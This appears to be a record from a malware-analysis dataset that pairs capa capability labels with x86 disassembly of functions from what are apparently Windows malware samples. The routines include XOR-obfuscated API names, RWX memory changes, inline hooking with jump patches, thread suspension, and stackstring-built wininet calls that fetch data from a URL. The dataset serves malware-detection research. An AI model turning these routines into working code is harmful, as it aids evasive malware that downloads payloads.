joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e390
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.100088b0
test eax, eax
je 0x1000e49c
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1000e49c
push eax
call esi
test ebx, ebx
je 0x1000e49c
movaps xmm0, xmmword [0x1001b060]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x1000e3f0
mov byte [ebp - 0x18], 3
mov al, 0x6d
xor al, byte [ebp - 0x18]
mov bl, 0x6f
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x67
mov bh, ah
mov byte [ebp - 9], ah
xor bl, al
mov byte [ebp - 0xe], 0
xor ah, al
mov byte [ebp - 0x19], 0
xor bh, al
mov byte [ebp - 0x13], ah
mov dh, dl
mov byte [ebp - 0x14], bl
xor dl, al
mov byte [ebp - 0x10], bh
xor dh, al
mov byte [ebp - 0x15], dl
mov cl, 0x77
mov byte [ebp - 0x11], dh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x2d
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.1000a5a0
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000e4b5
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
jns 0x1000e4a4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x1000e4b2
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a50
mov esp, ebp
pop ebp
ret

Function at 0x1000ef80
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014bf8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1000ed10
lea ecx, [ebp - 0x7c]
call fcn.1000edc0
push esi
lea ecx, [ebp - 0x7c]
call fcn.1000eeb0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1000f027
inc ecx
push ecx
push dword [ebp + 8]
call fcn.10004a80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x1000faa0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014cbe
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1001f018]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [section..data]
cmp eax, 0xffffffff
jne 0x1000fad6
xor ebx, ebx
jmp 0x1000fadf
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1000fb21
nop dword [eax]
cmp dword [ebx + 0x18], 0
mov esi, dword [ebx + 0xc]
jne 0x1000fb60
test esi, esi
jne 0x1000fb64
push 0x1000f6e0
push 0x10020ae0
call fcn.1000f3d0
mov eax, dword [section..data]
add esp, 8
cmp eax, 0xffffffff
je 0x1000fb21
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1000fb4e
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1000fb4e
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1000fba6
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1000fb8f
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x1000fb64
cmp dword [ebx + 0x18], 0
je 0x1000faf0
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x1000fbcd
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000fbcd
push eax
mov eax, dword [esi + 0x14]
push ecx
call eax
add esp, 8
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1000f700
cmp dword [ebx + 0x18], 0
jne 0x1000fbb0
jmp 0x1000faf0
Function at 0x1000fd80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000ff50
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000fe5d
mov edx, dword [ebp - 4]
cmp edx, dword [0x1001f004]
jb 0x1000fdca
mov eax, dword [ebp - 4]
cmp eax, dword [0x1001f008]
ja 0x1000fdca
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000fd9a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000fdef
jmp 0x1000fe5d
cmp dword [ebp - 0x14], 0x10000
jne 0x1000fe43
cmp dword [ebp - 0x18], 0x10000
jb 0x1000fe43
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000fe26
mov eax, dword [ebp - 8]
jmp 0x1000fe5f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000fe36
xor eax, eax
jmp 0x1000fe5f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000fe58
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000ff50
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000fd9a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000fe70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000ff80
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000ff45
mov edx, dword [ebp - 4]
cmp edx, dword [0x1001f004]
jb 0x1000feb5
mov eax, dword [ebp - 4]
cmp eax, dword [0x1001f008]
ja 0x1000feb5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000fe85
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000feda
jmp 0x1000ff45
cmp dword [ebp - 0x14], 0x10000
jne 0x1000ff2e
cmp dword [ebp - 0x18], 0x10000
jb 0x1000ff2e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000ff11
mov eax, dword [ebp - 8]
jmp 0x1000ff47
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000ff21
xor eax, eax
jmp 0x1000ff47
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000ff40
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000ff80
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000fe85
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000ffb0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100103a0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10020af0], 0
jne 0x1000ffed
cmp dword [0x10020aec], 0
je 0x1000ffed
mov eax, dword [0x10020aec]
mov dword [0x10020af0], eax
cmp dword [0x10020af0], 0
je 0x1001006a
mov ecx, dword [0x10020af0]
cmp dword [ecx + 8], 0
je 0x1001006a
mov edx, dword [0x10020af0]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1001006a
mov ecx, dword [0x10020af0]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1001006a
mov eax, dword [0x10020af0]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10010039
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10010040
xor eax, eax
jmp 0x10010189
mov ecx, dword [0x10020af0]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10010189
mov edx, dword [0x10020aec]
mov dword [0x10020af0], edx
jmp 0x10010086
mov eax, dword [0x10020af0]
mov ecx, dword [eax + 4]
mov dword [0x10020af0], ecx
cmp dword [0x10020af0], 0
je 0x100100c6
cmp dword [0x10020af0], 0
je 0x100100c4
mov edx, dword [0x10020af0]
cmp dword [edx + 8], 0
je 0x100100c4
mov eax, dword [0x10020af0]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x100100c4
mov edx, dword [0x10020af0]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x100100c4
jmp 0x1001001e
jmp 0x10010078
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10010190
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10010187
mov eax, dword [ebp - 0x18]
mov dword [0x10020af0], eax
mov ecx, dword [0x10020af0]
mov dword [ecx], 0x52727464
mov edx, dword [0x10020af0]
mov dword [edx + 8], 0
mov eax, dword [0x10020af0]
mov ecx, dword [0x10020aec]
mov dword [eax + 4], ecx
mov edx, dword [0x10020af0]
mov dword [0x10020aec], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10020af0]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10010157
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10010177
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1001014e
mov eax, dword [0x10020af0]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1001001e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10010ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10020aec]
mov dword [ebp - 4], eax
jmp 0x10010ee9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10010f10
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x10010f0e
call sub.KERNEL32.dll_GetLastError
jmp 0x10010f12
jmp 0x10010ee0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100113b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10020afc], eax
je 0x100113d4
mov eax, 0x10dd
jmp 0x1001157c
cmp dword [0x10020b00], 0
je 0x100113e7
mov eax, dword [0x10020b00]
jmp 0x1001157c
cmp dword [ebp + 0xc], 0
jne 0x100113f7
mov eax, 0x57
jmp 0x1001157c
cmp dword [ebp + 8], 0
jne 0x10011407
mov eax, 6
jmp 0x1001157c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10011430
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x10020b00], ecx
mov edx, dword [ebp + 8]
mov dword [0x10020b04], edx
mov eax, dword [ebp - 8]
jmp 0x1001157c
push 0x18
call fcn.10012cb6
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1001148b
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x10020b00], ecx
cmp dword [ebp - 4], 0
je 0x1001147a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.1001301e
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x10020b04], ecx
mov eax, dword [ebp - 8]
jmp 0x1001157c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.10011390
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.10011390
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x100114cb
cmp dword [ebp - 0xc], 0x1e
jbe 0x100114e7
mov dword [ebp - 8], 9
cmp dword [0x10020af4], 0
je 0x100114e2
jmp 0x10011459
jmp 0x10011450
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1001150e
mov dword [ebp - 8], 9
cmp dword [0x10020af4], 0
je 0x10011509
jmp 0x10011459
jmp 0x10011450
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x10011539
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10011450
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x10020b0c]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x10020b0c], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x10011590
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x10020afc], eax
je 0x100115ad
mov eax, 0x10dd
jmp 0x10011690
mov eax, dword [0x10020b0c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1001162c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10011608
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10011608
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10010430
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.1001301e
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x100115b5
mov dword [0x10020b0c], 0
call fcn.10010d10
mov ecx, dword [0x10020b08]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1001167a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.1001301e
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10011644
mov dword [0x10020b08], 0
mov dword [0x10020afc], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10011b70
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10020b00], 0
je 0x10011b89
mov eax, dword [0x10020b00]
jmp 0x10011c28
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x10011b9a
xor eax, eax
jmp 0x10011c28
push 8
call fcn.10012cb6
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10011bf2
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10011bdb
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.1001301e
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10020b00], eax
mov dword [0x10020b04], 0
mov eax, dword [ebp - 8]
jmp 0x10011c28
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x10011c0a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10011bba
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10020b08]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10020b08], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x10001001
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
nop
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10005040
push eax
push esi
mov dword [ebp - 0x2c], 0x3930467b
mov dword [ebp - 0x28], 0x32413033
mov dword [ebp - 0x24], 0x39442d46
mov dword [ebp - 0x20], 0x342d3137
mov dword [ebp - 0x1c], 0x2d383238
mov dword [ebp - 0x18], 0x39303238
mov dword [ebp - 0x14], 0x4437422d
mov dword [ebp - 0x10], 0x36324446
mov dword [ebp - 0xc], 0x34444536
mov dword [ebp - 8], 0x7d34
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop esi
leave
ret
Function at 0x100023af
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040e0
push 0x10003140
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10002464
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002473
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040f0
push 0x10003140
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x100024f7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002576
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
nop
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100025e1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
nop
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
jne 0x100025f0
pop ebp
ret
nop
cmp word [edx], 0x5a4d
jne 0x10002608
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10002608
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x10002745
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
xor ebx, ebx
cmp dword [0x10005560], ebx
je 0x10002778
cmp dword [0x10005564], ebx
je 0x10002778
cmp dword [0x10005568], ebx
je 0x10002778
cmp dword [0x1000556c], ebx
jne 0x10002841
mov dword [ebp - 0x1c], 0x696e6977
mov dword [ebp - 0x18], 0x2e74656e
mov dword [ebp - 0x14], 0x6c6c64
mov dword [ebp - 0x10], ebx
nop
mov ecx, 0x65746e49
mov eax, 0x74656e72
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], 0x736f6c43
mov dword [ebp - 0x64], 0x6e614865
mov dword [ebp - 0x60], 0x656c64
mov dword [ebp - 0x5c], ebx
nop
mov edx, 0x6e65704f
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 0x41
mov dword [ebp - 0x48], ebx
nop
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 0x416c7255
mov dword [ebp - 0x20], ebx
nop
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0x64616552
mov dword [ebp - 0x38], 0x656c6946
mov dword [ebp - 0x34], ebx
nop
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x70]
push eax
push edi
call esi
mov dword [0x10005560], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
mov dword [0x10005564], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x10005568], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [0x1000556c], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x10005564]
cmp eax, ebx
mov dword [ebp - 0x74], eax
je 0x1000291e
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x10005568]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002915
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1000556c]
test eax, eax
je 0x10002903
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x100028ff
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x100028cb
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x100028ff
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x1000556c]
test eax, eax
jne 0x100028a5
cmp edi, ebx
ja 0x1000290f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10002915
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x10005560]
push dword [ebp - 0x74]
call dword [0x10005560]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret